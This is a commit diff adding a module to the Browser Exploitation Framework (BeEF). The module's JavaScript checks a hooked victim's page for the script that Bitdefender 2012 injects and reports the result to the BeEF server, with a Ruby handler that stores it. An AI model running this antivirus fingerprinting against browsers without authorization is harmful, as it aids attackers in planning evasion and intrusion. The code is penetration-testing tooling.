Add module to detect bitdefender 2012. Closes #902
This commit is contained in:
17
modules/host/detect_bitdefender2012/command.js
Normal file
17
modules/host/detect_bitdefender2012/command.js
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
//
|
||||||
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
// See the file 'doc/COPYING' for copying permission
|
||||||
|
//
|
||||||
|
|
||||||
|
beef.execute(function() {
|
||||||
|
var temp=document.body.innerHTML;
|
||||||
|
var key="netdefender/hui/ndhui.js";
|
||||||
|
if(temp.indexOf(key)>0) {
|
||||||
|
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Installed');
|
||||||
|
} else {
|
||||||
|
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Not Installed');
|
||||||
|
};
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
15
modules/host/detect_bitdefender2012/config.yaml
Normal file
15
modules/host/detect_bitdefender2012/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
beef:
|
||||||
|
module:
|
||||||
|
detect_bitdefender2012:
|
||||||
|
enable: true
|
||||||
|
category: "Host"
|
||||||
|
name: "Detect Bit Defender 2012"
|
||||||
|
description: "This module detect the javascript code automatically included by Bitdefender 2012"
|
||||||
|
authors: ["nbblrr"]
|
||||||
|
target:
|
||||||
|
working: ["ALL"]
|
||||||
13
modules/host/detect_bitdefender2012/module.rb
Normal file
13
modules/host/detect_bitdefender2012/module.rb
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
|
||||||
|
class Detect_bitdefender2012 < BeEF::Core::Command
|
||||||
|
|
||||||
|
def post_execute
|
||||||
|
save({'BitDefender' => @datastore['bitdefender']})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Reference in New Issue
Block a user